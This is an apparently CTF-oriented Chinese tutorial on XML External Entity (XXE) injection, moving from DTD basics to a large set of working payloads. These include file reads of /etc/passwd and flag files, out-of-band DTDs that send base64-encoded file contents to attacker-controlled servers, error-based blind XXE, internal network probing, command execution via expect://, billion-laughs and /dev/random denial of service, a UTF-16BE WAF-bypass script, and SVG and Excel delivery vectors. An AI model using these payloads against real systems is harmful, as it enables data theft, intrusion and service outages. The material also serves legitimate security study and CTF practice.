一、基础知识
XML
XML
即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:
- HTML 被设计用来显示数据
- XML 被设计用来传输和存储数据
XML文档结构包括:
先看一下典型的xml文档:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
|
DTD概念及声明/引用方式
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD一般认为有两种引用或声明方式:
- 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
- 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD实体有以下几种声明方式
内部实体
1 2 3 4 5
| <!DOCTYPE note [ <!ENTITY a "admin"> ]> <note>&a</note>
|
参数实体
1 2 3 4 5 6
| <!DOCTYPE note> [ <!ENTITY % b "<!ENTITY b1 "awsl">"> %b; ]> <note>&b1</note>
|
- 参数实体用
% name
申明,引用时用%name;
,只能在DTD中申明,DTD中引用。
- 其余实体直接用
name
申明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
外部实体
1 2 3 4 5
| <!DOCTYPE note> [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <note>&c</note>
|
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
外部参数实体
1 2 3 4 5 6
| <!DOCTYPE note> [ <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd"> %d; ]> <note>&d1</note>
|
1 2
| <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
|
二、XML外部实体注入(XML External Entity)
1、任意文件读取
最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
恶意引入外部实体
直接读靶机文件
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY rabbit SYSTEM "file:///flag" > ]> <user><username>&rabbit;</username><password>123</password></user>
|
恶意引入外部参数实体
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd"> %file; ]> <test>&hhh;</test>
|
1
| <!ENTITY hhh SYSTEM 'file:///etc/passwd'>
|
无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
1 2 3 4 5 6
| <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]>
|
evil.dtd的内容,内部的%号要进行实体编码成%。
1 2 3 4
| <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>" > %all;
|
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
基于报错
以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。
通过引入服务器文件
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> %remote; %send; ]> <message>1234</message>
|
1 2 3
| <!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>"> %start;
|
通过引入本地文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % ISOamso ' <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>"> %eval; %send; '> %remote; ]> <message>1234</message>
|
我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send
嵌套参数实体
虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>"> %start; %send; ]> <message>10</message>
|
基于报错的三层嵌套参数实体XXE
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message ANY> <!ENTITY % para1 SYSTEM "file:///flag"> <!ENTITY % para ' <!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>"> %para2; '> %para; ]> <message>10</message>
|
2、内网探测
和读文件差不多,只不过把URI改成内网机器地址
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" > ]> <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
|
3、RCE
XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
|
响应:
4、DOS
XXE萌新进阶全攻略
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,
1 2 3 4 5
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe;</foo>
|
如果 XML 解析器尝试使用/dev/random
文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
三、绕过姿势
参考绕过WAF保护的XXE
ENTITY
SYSTEM
file
等关键词被过滤
使用编码方式绕过:UTF-16BE 注意分两部分:
1 2 3 4 5 6 7 8 9 10
| import sys
part1 = '<?xml version="1.0" encoding="UTF-16be"' part2 = f"""?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///path/to/file">]> <root>&xxe;</root> """
with open("tmp.xml", "wb") as f: f.write(part1.encode('utf-8') + part2.encode("utf-16be"))
|
若http被过滤,可以
data://协议绕过
1 2 3 4 5 6 7
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> %a; %b; ]> <test>&hhh;</test>
|
file://协议加文件上传
1 2 3 4 5 6 7
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]>
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
|
php://filter协议加文件上传
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test>
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
|
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test>
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
|
四、利用场景
svg
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
tips:从当前文件夹读取文件可以使用/proc/self/cwd
excel
利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压
1 2
| mkdir XXE && cd XXE unzip ../XXE.xlsx
|
将[Content_Types].xml
改成恶意xml,再压缩回去